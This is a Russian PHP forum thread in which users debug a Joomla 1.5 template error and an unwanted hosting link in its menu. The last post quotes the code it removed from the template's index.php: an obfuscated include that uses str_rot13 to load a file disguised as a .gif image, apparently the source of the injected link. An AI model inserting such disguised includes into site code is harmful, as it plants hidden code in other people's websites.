Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: при наведении курсора на пункт меню Главная появляется ошибка

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (2): [1] 2 »   

> Описание: Warning: trim() expects parameter 1 to be string, array given in G:\home\xxxxx.ru\www\libraries\joomla\html\parameter.php on line 83
alex691
Отправлено: 15 Ноября, 2010 - 21:00:59
Post Id


Новичок


Покинул форум
Сообщений всего: 7
Дата рег-ции: Нояб. 2010  


Помог: 0 раз(а)




В одном из шаблонов Joomla! 1.5 при наведении курсора на пункт меню Главная появляется сообщение:

Warning: trim() expects parameter 1 to be string, array given in G:\home\ren.ru\www\libraries\joomla\html\parameter.php on line 83

Фрагмент файла parameter.php со строкой 83:

79
80 // Set base path
81 $this->_elementPath[] = dirname( __FILE__ ).DS.'parameter'.DS.'element';
82
83 if (trim( $data )) {
84 $this->loadINI($data);
85 }
86
87 if ($path) {
88 $this->loadSetupFile($path);
89 }
90
91 $this->_raw = $data;
92 }

При наведении курсора на другие пункты меню - все нормально.
Как устранить это сообщение?
 
 Top
Uchkuma
Отправлено: 15 Ноября, 2010 - 21:50:59
Post Id



Участник


Покинул форум
Сообщений всего: 1539
Дата рег-ции: Март 2010  
Откуда: Киров


Помог: 6 раз(а)




В переменной $data ожидается строка, но там почему-то оказался массив. Разбирайтесь. Из вашего фрагмента не видно, где переменной $data присваивается значение.
 
 Top
alex691
Отправлено: 16 Ноября, 2010 - 14:36:30
Post Id


Новичок


Покинул форум
Сообщений всего: 7
Дата рег-ции: Нояб. 2010  


Помог: 0 раз(а)




Uchkuma пишет:
В переменной $data ожидается строка, но там почему-то оказался массив. Разбирайтесь. Из вашего фрагмента не видно, где переменной $data присваивается значение.


Что-то не особо получается Огорчение Прикрепил файл целиком, может глянете?
Скачать файл: parameter.php
Скачан раз: 184
 
 Top
Viper
Отправлено: 16 Ноября, 2010 - 15:11:35
Post Id



Активный участник


Покинул форум
Сообщений всего: 4555
Дата рег-ции: Февр. 2007  
Откуда: Симферополь


Помог: 98 раз(а)




Какой-то нубский шаблон имхо...
По одному params.php непонятно откуда в конструктор класса передается переменная $data. Выложите шаблон полностью.


-----
Список фильмов с описанием, блекджеком и... для Joomla? -> https://киноархив[dot]com
Демо нового движка для сайта php.su -> php[dot]su, проект на гитхабе
 
 Top
alex691
Отправлено: 16 Ноября, 2010 - 16:52:53
Post Id


Новичок


Покинул форум
Сообщений всего: 7
Дата рег-ции: Нояб. 2010  


Помог: 0 раз(а)




Viper пишет:
Какой-то нубский шаблон имхо...
По одному params.php непонятно откуда в конструктор класса передается переменная $data. Выложите шаблон полностью.

Выложил

(Отредактировано автором: 16 Ноября, 2010 - 19:06:11)

 
 Top
OrmaJever Модератор
Отправлено: 16 Ноября, 2010 - 17:10:09
Post Id



Активный участник


Покинул форум
Сообщений всего: 7540
Дата рег-ции: Янв. 2010  
Откуда: Чернигов


Помог: 299 раз(а)




это тоже не то. нужно тот файл где создаётся объект класа JParameter
(Добавление)
alex691 пишет:
В одном из шаблонов Joomla! 1.5 при наведении курсора на пункт меню Главная появляется сообщение:

хотя судя по описанию там есть javascript который через ajax передаёт параметр в php файл. Вот тут и нужно искать. Темболее если такое только в одном шаблоне


-----
Если вы хотя бы 3-4 раза не решите всё выкинуть и начать заново - вы явно что-то делаете не так.
 
 Top
alex691
Отправлено: 16 Ноября, 2010 - 19:05:10
Post Id


Новичок


Покинул форум
Сообщений всего: 7
Дата рег-ции: Нояб. 2010  


Помог: 0 раз(а)




OrmaJever пишет:
это тоже не то. нужно тот файл где создаётся объект класа JParameter
(Добавление)
alex691 пишет:
В одном из шаблонов Joomla! 1.5 при наведении курсора на пункт меню Главная появляется сообщение:

хотя судя по описанию там есть javascript который через ajax передаёт параметр в php файл. Вот тут и нужно искать. Темболее если такое только в одном шаблоне

В других шаблонах все нормально. Будем пробовать. Спасибо.
 
 Top
OrmaJever Модератор
Отправлено: 16 Ноября, 2010 - 20:37:35
Post Id



Активный участник


Покинул форум
Сообщений всего: 7540
Дата рег-ции: Янв. 2010  
Откуда: Чернигов


Помог: 299 раз(а)




Ну если чеснотутлутше увидеть сам сайт а не шаблон. там ошибка в javascript скорее всего.


-----
Если вы хотя бы 3-4 раза не решите всё выкинуть и начать заново - вы явно что-то делаете не так.
 
 Top
alex691
Отправлено: 16 Ноября, 2010 - 22:02:15
Post Id


Новичок


Покинул форум
Сообщений всего: 7
Дата рег-ции: Нояб. 2010  


Помог: 0 раз(а)




OrmaJever пишет:
Ну если чеснотутлутше увидеть сам сайт а не шаблон. там ошибка в javascript скорее всего.

Пока все на локальной машине. Не хочется заливать на хостинг с ошибками.
 
 Top
OrmaJever Модератор
Отправлено: 16 Ноября, 2010 - 22:17:30
Post Id



Активный участник


Покинул форум
Сообщений всего: 7540
Дата рег-ции: Янв. 2010  
Откуда: Чернигов


Помог: 299 раз(а)




Неужеле там шаблон такой красивый что без него не как? Можно же поставить друго шаблон, а про этот написать производителю.


-----
Если вы хотя бы 3-4 раза не решите всё выкинуть и начать заново - вы явно что-то делаете не так.
 
 Top
Viper
Отправлено: 17 Ноября, 2010 - 07:58:28
Post Id



Активный участник


Покинул форум
Сообщений всего: 4555
Дата рег-ции: Февр. 2007  
Откуда: Симферополь


Помог: 98 раз(а)




OrmaJever пишет:
нужно тот файл где создаётся объект класа JParameter


не нужно. JParameter беред данные из конфига компонента. А если у шаблона есть params.ini то нужно брать в виде $this->params->get('variable'). Тогда будет работать. Хотя опять же без полного кода невозможно решить вашу проблему.


-----
Список фильмов с описанием, блекджеком и... для Joomla? -> https://киноархив[dot]com
Демо нового движка для сайта php.su -> php[dot]su, проект на гитхабе
 
 Top
alex691
Отправлено: 17 Ноября, 2010 - 08:10:22
Post Id


Новичок


Покинул форум
Сообщений всего: 7
Дата рег-ции: Нояб. 2010  


Помог: 0 раз(а)




Viper пишет:
OrmaJever пишет:
нужно тот файл где создаётся объект класа JParameter


не нужно. JParameter беред данные из конфига компонента. А если у шаблона есть params.ini то нужно брать в виде $this->params->get('variable'). Тогда будет работать. Хотя опять же без полного кода невозможно решить вашу проблему.

params.ini есть, вот его содержимое: colorVariation=yellowdarkgreyhid eLogo=0logoVariation=1
 
 Top
alex691
Отправлено: 19 Ноября, 2010 - 21:06:43
Post Id


Новичок


Покинул форум
Сообщений всего: 7
Дата рег-ции: Нояб. 2010  


Помог: 0 раз(а)




Проблема решилась, откатил PHP 5.3 до версии 5.2.12 и ошибка пропала. Теперь при наведении на пункт меню Главная появляется подпункт меню- Email Hosting при открытии попадаем сюда: http://www.ntchosting.com/email-hosting.html. Хотелось бы убрать, но вот не знаю как.
 
 Top
Viper
Отправлено: 22 Ноября, 2010 - 08:02:29
Post Id



Активный участник


Покинул форум
Сообщений всего: 4555
Дата рег-ции: Февр. 2007  
Откуда: Симферополь


Помог: 98 раз(а)




alex691 пишет:
Хотелось бы убрать, но вот не знаю как.

это убирается в менеджере меню. удалите ненужный пункт меню там.


-----
Список фильмов с описанием, блекджеком и... для Joomla? -> https://киноархив[dot]com
Демо нового движка для сайта php.su -> php[dot]su, проект на гитхабе
 
 Top
qwerty
Отправлено: 17 Февраля, 2011 - 12:04:34
Post Id



Новичок


Покинул форум
Сообщений всего: 32
Дата рег-ции: Нояб. 2008  


Помог: 0 раз(а)




В файле index.php шаблона сразу после <body id="page_bg"> вырезал следующий код:

<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>


вот так я решил эту проблему.


-----
skype:tabyret4ik
 
 Top
Страниц (2): [1] 2 »
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Программирование на PHP »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB